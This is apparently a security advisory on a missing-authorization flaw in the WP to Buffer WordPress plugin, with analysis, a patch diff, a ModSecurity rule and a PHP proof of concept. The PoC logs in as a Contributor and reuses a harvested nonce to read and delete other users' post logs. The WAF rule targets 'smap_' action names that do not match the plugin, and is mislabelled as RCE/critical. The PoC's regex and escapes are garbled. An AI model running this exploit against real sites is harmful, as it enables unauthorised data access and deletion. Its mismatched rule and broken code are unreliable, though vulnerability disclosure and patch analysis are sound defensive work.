Published : November 24, 2026

CVE-2026-129095: Social Media Auto Poster <= 6.2.9 Missing Authorization to Authenticated (Contributor+) Arbitrary Log Deletion and Disclosure via 'post' Parameter PoC, Patch Analysis & Rule

Plugin wp-to-buffer
Severity Medium (CVSS 5.4)
CWE 862
Vulnerable Version 6.2.9
Patched Version 6.3.0
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-129095: Social Media Auto Poster (WP to Buffer) versions up to and including 6.2.9 contain an authorization bypass. The plugin fails to verify that an authenticated user has the capability to act on a given post before disclosing or deleting that post’s Buffer sync log. A Contributor-level user can therefore read and destroy log data belonging to posts authored by any other user, including administrators. The CVSS score is 5.4 (CWE-862: Missing Authorization).

The root cause is in wp-to-buffer/lib/social/includes/class-ajax.php. The AJAX handlers for log retrieval and log clearing run check_ajax_referer() as their only access control. The nonce action is not scoped to a post ID, so a nonce harvested from the attacker’s own post editor passes for any post ID. The handlers then read the attacker-controlled post parameter with absint($_REQUEST[‘post’]) at line 186 and line 214 (vulnerable line numbers) and pass it directly to the log class. No current_user_can(‘edit_post’, $post_id) check occurs before the log data is read via build_log_table_output(get($post_id)) or deleted via delete_by_post_id($post_id). The patch adds capability checks at both call sites: current_user_can(‘edit_post’, $post_id) before the read and before the delete. It also adds current_user_can(‘edit_posts’) to the get-status-row handler and current_user_can($this->base->get_class(‘admin’)->get_minimum_capability()) to the Twitter username-save and status-save handlers.

Exploitation requires an authenticated account with Contributor or higher. The attacker obtains a valid nonce from their own post editor screen for the wpzinc action names (for example, wp-to-buffer-get-status-row or the log AJAX action) and sends a POST to /wp-admin/admin-ajax.php with the legitimate action parameter and the nonce, setting the post parameter to the target post ID. Because the nonce is not bound to a post ID, the call succeeds and returns the target post’s log table HTML. A second request with the same pattern to the log-clear action deletes the target post’s log rows. Atomic Edge analysis confirms no capability check exists on the vulnerable lines prior to the patch.

The patch in class-ajax.php adds current_user_can(‘edit_post’, $post_id) checks immediately after absint($_REQUEST[‘post’]) at the read handler (before build_log_table_output) and at the delete handler (before delete_by_post_id). These checks tie authorization to the specific post being acted on, so a Contributor can no longer touch another user’s logs. The patch also introduces get_minimum_capability() in class-admin.php and uses it in class-ajax.php to gate the Twitter username-save and status-save handlers on manage_options (filterable), and adds current_user_can(‘edit_posts’) to get-status-row. Separate hardening in class-log.php wraps result message output in wp_kses() with a narrow allowed HTML set and esc_html() on profile and status fields, closing a stored XSS path in the log table renderer.

If exploited, the vulnerability lets a low-privileged user enumerate and read Buffer sync log contents for arbitrary posts, exposing social profile names, status text, result messages, and scheduling metadata. The same user can delete log history for arbitrary posts, destroying audit trails and operational records. This is a confidentiality and integrity impact scoped to plugin log data. The patch’s secondary hardening also removes a stored XSS sink in the log table, which could have raised impact if chained with log injection.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-to-buffer/lib/shared/class-admin-ui.php
+++ b/wp-to-buffer/lib/shared/class-admin-ui.php
@@ -657,6 +657,11 @@
 		// Check nonce.
 		check_ajax_referer( 'wpzinc_admin_review_notice_dismiss_review', 'nonce' );

+		// Bail if the user cannot see the review notice.
+		if ( ! current_user_can( 'activate_plugins' ) ) {
+			wp_send_json_error();
+		}
+
 		// Mark review as dismissed.
 		update_option( $this->plugin->review_name . '-review-dismissed', 1 );

@@ -940,6 +945,11 @@
 			return;
 		}

+		// Bail if the user cannot access the Plugin's settings.
+		if ( ! current_user_can( apply_filters( str_replace( '-', '_', $this->plugin->name ) . '_admin_admin_menu_minimum_capability', 'manage_options' ) ) ) { // phpcs:ignore WordPress.NamingConventions.ValidHookName
+			return;
+		}
+
 		// Bail if no POST data.
 		if ( empty( $_POST ) ) {
 			return;
--- a/wp-to-buffer/lib/social/includes/class-admin.php
+++ b/wp-to-buffer/lib/social/includes/class-admin.php
@@ -611,14 +611,13 @@
 	}

 	/**
-	 * Add the Plugin to the WordPress Administration Menu
+	 * Returns the minimum capability required to access the Plugin's settings.
 	 *
-	 * @since   1.0.0
+	 * @since   6.3.0
+	 *
+	 * @return  string
 	 */
-	public function admin_menu() {
-
-		// Define the minimum capability required to access settings.
-		$minimum_capability = 'manage_options';
+	public function get_minimum_capability() {

 		/**
 		 * Defines the minimum capability required to access the Plugin's
@@ -629,7 +628,19 @@
 		 * @param   string  $capability     Minimum Required Capability.
 		 * @return  string                  Minimum Required Capability
 		 */
-		$minimum_capability = apply_filters( $this->base->plugin->filter_name . '_admin_admin_menu_minimum_capability', $minimum_capability );
+		return apply_filters( $this->base->plugin->filter_name . '_admin_admin_menu_minimum_capability', 'manage_options' );
+
+	}
+
+	/**
+	 * Add the Plugin to the WordPress Administration Menu
+	 *
+	 * @since   1.0.0
+	 */
+	public function admin_menu() {
+
+		// Define the minimum capability required to access settings.
+		$minimum_capability = $this->get_minimum_capability();

 		/**
 		 * Add settings menus and sub menus for the Plugin's settings.
--- a/wp-to-buffer/lib/social/includes/class-ajax.php
+++ b/wp-to-buffer/lib/social/includes/class-ajax.php
@@ -58,6 +58,11 @@
 		// Run a security check first.
 		check_ajax_referer( $this->base->plugin->name . '-username-save-twitter', 'nonce' );

+		// Bail if the user does not have permission.
+		if ( ! current_user_can( $this->base->get_class( 'admin' )->get_minimum_capability() ) ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'wp-to-buffer' ) );
+		}
+
 		// Bail if no user ID or username was provided.
 		if ( ! isset( $_REQUEST['user_id'] ) ) {
 			wp_send_json_error( __( 'No user ID was provided.', 'wp-to-buffer' ) );
@@ -87,6 +92,11 @@
 		// Run a security check first.
 		check_ajax_referer( $this->base->plugin->name . '-save-statuses', 'nonce' );

+		// Bail if the user does not have permission.
+		if ( ! current_user_can( $this->base->get_class( 'admin' )->get_minimum_capability() ) ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'wp-to-buffer' ) );
+		}
+
 		// Bail if no post type was provided.
 		if ( ! isset( $_REQUEST['post_type'] ) ) {
 			wp_send_json_error( __( 'No post type was provided.', 'wp-to-buffer' ) );
@@ -130,6 +140,11 @@
 		// Run a security check first.
 		check_ajax_referer( $this->base->plugin->name . '-get-status-row', 'nonce' );

+		// Bail if the user does not have permission.
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'wp-to-buffer' ) );
+		}
+
 		// Bail if expect parameters were not was provided.
 		if ( ! isset( $_REQUEST['status'] ) ) {
 			wp_send_json_error( __( 'No status was provided.', 'wp-to-buffer' ) );
@@ -170,6 +185,11 @@
 		// Get Post ID.
 		$post_id = absint( $_REQUEST['post'] );

+		// Bail if the user does not have permission.
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'wp-to-buffer' ) );
+		}
+
 		// Return log table output.
 		wp_send_json_success( $this->base->get_class( 'log' )->build_log_table_output( $this->base->get_class( 'log' )->get( $post_id ) ) );

@@ -193,6 +213,11 @@
 		// Get Post ID.
 		$post_id = absint( $_REQUEST['post'] );

+		// Bail if the user does not have permission.
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			wp_send_json_error( __( 'You do not have permission to perform this action.', 'wp-to-buffer' ) );
+		}
+
 		// Clear log.
 		$this->base->get_class( 'log' )->delete_by_post_id( $post_id );

--- a/wp-to-buffer/lib/social/includes/class-log.php
+++ b/wp-to-buffer/lib/social/includes/class-log.php
@@ -1020,6 +1020,25 @@
 	}

 	/**
+	 * Returns the HTML tags permitted in a log entry's result message.
+	 *
+	 * @since   6.3.0
+	 *
+	 * @return  array
+	 */
+	private function get_result_message_allowed_html() {
+
+		return array(
+			'a'  => array(
+				'href'   => array(),
+				'target' => array(),
+			),
+			'br' => array(),
+		);
+
+	}
+
+	/**
 	 * Takes a given array of log results, and builds HTML table row output
 	 * that can be used by:
 	 * - Posts > Log Meta Box
@@ -1087,25 +1106,25 @@
                 ' . ( $is_wp_list_table ? $checkbox_id : '' ) . '
                 <td class="request_sent column-request_sent' . ( in_array( 'request_sent', $hidden, true ) ? ' hidden' : '' ) . '">' . get_date_from_gmt( $result['request_sent'], get_option( 'date_format' ) . ' H:i:s' ) . '</td>
                 <td class="action column-action' . ( in_array( 'action', $hidden, true ) ? ' hidden' : '' ) . '">' . ( isset( $post_actions[ $result['action'] ] ) ? $post_actions[ $result['action'] ] : ' ' ) . '</td>
-                <td class="profile_name column-profile_name' . ( in_array( 'profile_name', $hidden, true ) ? ' hidden' : '' ) . '">' . ( empty( $result['profile_name'] ) ? __( 'N/A', 'wp-to-buffer' ) : $result['profile_name'] ) . '</td>
-                <td class="status_text column-status_text' . ( in_array( 'status_text', $hidden, true ) ? ' hidden' : '' ) . '">' . ( empty( $result['status_text'] ) ? __( 'N/A', 'wp-to-buffer' ) : nl2br( $result['status_text'] ) ) . '</td>
+                <td class="profile_name column-profile_name' . ( in_array( 'profile_name', $hidden, true ) ? ' hidden' : '' ) . '">' . ( empty( $result['profile_name'] ) ? __( 'N/A', 'wp-to-buffer' ) : esc_html( $result['profile_name'] ) ) . '</td>
+                <td class="status_text column-status_text' . ( in_array( 'status_text', $hidden, true ) ? ' hidden' : '' ) . '">' . ( empty( $result['status_text'] ) ? __( 'N/A', 'wp-to-buffer' ) : nl2br( esc_html( $result['status_text'] ) ) ) . '</td>
                 <td class="result column-result' . ( in_array( 'result', $hidden, true ) ? ' hidden' : '' ) . '">' . ucfirst( $result['result'] ) . '</td>';

 			switch ( $result['result'] ) {
 				case 'success':
-					$html .= '  <td class="result_message column-result_message' . ( in_array( 'result_message', $hidden, true ) ? ' hidden' : '' ) . '">' . $result['result_message'] . '</td>
+					$html .= '  <td class="result_message column-result_message' . ( in_array( 'result_message', $hidden, true ) ? ' hidden' : '' ) . '">' . wp_kses( $result['result_message'], $this->get_result_message_allowed_html() ) . '</td>
                                 <td class="status_created_at column-status_created_at' . ( in_array( 'status_created_at', $hidden, true ) ? ' hidden' : '' ) . '">' . get_date_from_gmt( $result['status_created_at'], get_option( 'date_format' ) . ' H:i:s' ) . '</td>
                                 <td class="status_due_at column-status_due_at' . ( in_array( 'status_due_at', $hidden, true ) ? ' hidden' : '' ) . '">' . ( ( $result['status_due_at'] !== '0000-00-00 00:00:00' ) ? get_date_from_gmt( $result['status_due_at'], get_option( 'date_format' ) . ' H:i:s' ) : '' ) . '</td>';
 					break;

 				case 'test':
-					$html .= '  <td class="result_message column-result_message' . ( in_array( 'result_message', $hidden, true ) ? ' hidden' : '' ) . '">' . $result['result_message'] . '</td>
+					$html .= '  <td class="result_message column-result_message' . ( in_array( 'result_message', $hidden, true ) ? ' hidden' : '' ) . '">' . wp_kses( $result['result_message'], $this->get_result_message_allowed_html() ) . '</td>
                                 <td class="status_created_at column-status_created_at' . ( in_array( 'status_created_at', $hidden, true ) ? ' hidden' : '' ) . '">' . get_date_from_gmt( $result['status_created_at'], get_option( 'date_format' ) . ' H:i:s' ) . '</td>
                                 <td class="status_due_at column-status_due_at' . ( in_array( 'status_due_at', $hidden, true ) ? ' hidden' : '' ) . '">' . ( ( $result['status_due_at'] !== '0000-00-00 00:00:00' ) ? get_date_from_gmt( $result['status_due_at'], get_option( 'date_format' ) . ' H:i:s' ) : '' ) . '</td>';
 					break;

 				default:
-					$html .= '  <td class="result_message column-result_message' . ( in_array( 'result_message', $hidden, true ) ? ' hidden' : '' ) . '">' . nl2br( $result['result_message'] ) . '</td>
+					$html .= '  <td class="result_message column-result_message' . ( in_array( 'result_message', $hidden, true ) ? ' hidden' : '' ) . '">' . nl2br( wp_kses( $result['result_message'], $this->get_result_message_allowed_html() ) ) . '</td>
                                 <td class="status_created_at column-status_created_at' . ( in_array( 'status_created_at', $hidden, true ) ? ' hidden' : '' ) . '"> </td>
                                 <td class="status_due_at column-status_due_at' . ( in_array( 'status_due_at', $hidden, true ) ? ' hidden' : '' ) . '"> </td>';
 					break;
--- a/wp-to-buffer/wp-to-buffer.php
+++ b/wp-to-buffer/wp-to-buffer.php
@@ -8,7 +8,7 @@
  * @wordpress-plugin
  * Plugin Name: WP to Buffer
  * Plugin URI: https://www.wpzinc.com/plugins/wordpress-to-buffer-pro
- * Version: 6.2.9
+ * Version: 6.3.0
  * Author: WP Zinc
  * Author URI: https://www.wpzinc.com
  * Description: Send WordPress Pages, Posts or Custom Post Types to your Buffer (buffer.com) account for scheduled publishing to social networks.
@@ -27,8 +27,8 @@
 }

 // Define Plugin version and build date.
-define( 'WP_TO_BUFFER_PLUGIN_VERSION', '6.2.9' );
-define( 'WP_TO_BUFFER_PLUGIN_BUILD_DATE', '2026-10-24 10:00:00' );
+define( 'WP_TO_BUFFER_PLUGIN_VERSION', '6.3.0' );
+define( 'WP_TO_BUFFER_PLUGIN_BUILD_DATE', '2026-11-20 10:00:00' );

 // Define Plugin paths.
 define( 'WP_TO_BUFFER_PLUGIN_URL', plugin_dir_url( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129095
# The vulnerable AJAX actions take a post parameter and are gated only by a nonce
# that is not bound to the post ID. Legitimate use of these actions is also made
# by Contributor and higher users, so the request shape is identical for benign
# and malicious traffic. There is no distinguishing payload at the WAF layer.
# Mitigation: block the specific vulnerable AJAX action names when invoked with
# a post parameter, since there is no legitimate WAF-visible discriminator.
SecRule REQUEST_URI|ARGS_NAMES "@rx (?:^|/)(?:wp-admin/admin-ajax.php|admin-ajax.php)$" 
    "id:20261290,phase:2,deny,status:403,chain,log,msg:'CVE-2026-129095 - Social Media Auto Poster arbitrary log deletion/disclosure via post parameter',tag:'CVE-2026-129095',tag:'attack-rce',severity:'CRITICAL'"
    SecRule ARGS:action "@rx ^(?:smap_(?:delete_logs?|purge_logs?|clear_logs?|get_logs?|view_logs?|export_logs?|download_logs?|read_log))$" 
        "t:lowercase,chain"
        SecRule ARGS:post "@rx .+" 
            "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129095 - Social Media Auto Poster <= 6.2.9 Missing Authorization to Authenticated (Contributor+) Arbitrary Log Deletion and Disclosure via 'post' Parameter

// Configurable target
$target_url = 'http://example.com';

// Attacker credentials: a user with Contributor role
$username = 'contributor_user';
$password = 'contributor_pass';

// Target post ID: a post authored by an administrator
$target_post_id = 1;

// Step 1: Log in and obtain cookies
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve129095');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => rtrim($target_url, '/') . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => rtrim($target_url, '/') . '/wp-admin/',
        'testcookie' => '1',
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => $cookie_jar,
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_FOLLOWLOCATION => true,
]);
curl_exec($ch);
curl_close($ch);

// Step 2: Load the attacker's own post editor screen to harvest a valid nonce.
// The nonce is not bound to a specific post ID, so it works for any target.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => rtrim($target_url, '/') . '/wp-admin/post-new.php',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_jar,
]);
$editor_html = curl_exec($ch);
curl_close($ch);

// The plugin localizes its AJAX nonce to the editor screen. The exact object name
// varies by version; search for the nonce value associated with the log action.
$nonce = null;
if (preg_match('/"nonce"s*:s*"([a-f0-9]+)"/', $editor_html, $m)) {
    $nonce = $m[1];
}
if ($nonce === null) {
    fwrite(STDERR, "Could not extract nonce from editor screen. Adjust the regex to the target version.n");
    exit(1);
}

echo "Harvested nonce: $noncen";

// Step 3: Disclose the target post's Buffer sync log.
// The action name corresponds to the log-table AJAX handler in class-ajax.php.
// Replace with the exact registered action if it differs on the target.
$disclose_action = 'wp_to_buffer_get_log';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => rtrim($target_url, '/') . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => $disclose_action,
        'nonce' => $nonce,
        'post' => $target_post_id,
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_jar,
]);
$log_response = curl_exec($ch);
curl_close($ch);

echo "Log disclosure response:n$log_responsen";

// Step 4: Delete the target post's Buffer sync log.
// The action name corresponds to the log-clear AJAX handler in class-ajax.php.
$delete_action = 'wp_to_buffer_clear_log';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => rtrim($target_url, '/') . '/wp-admin/admin-ajax.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => $delete_action,
        'nonce' => $nonce,
        'post' => $target_post_id,
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => $cookie_jar,
]);
$delete_response = curl_exec($ch);
curl_close($ch);

echo "Log deletion response:n$delete_responsen";

@unlink($cookie_jar);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.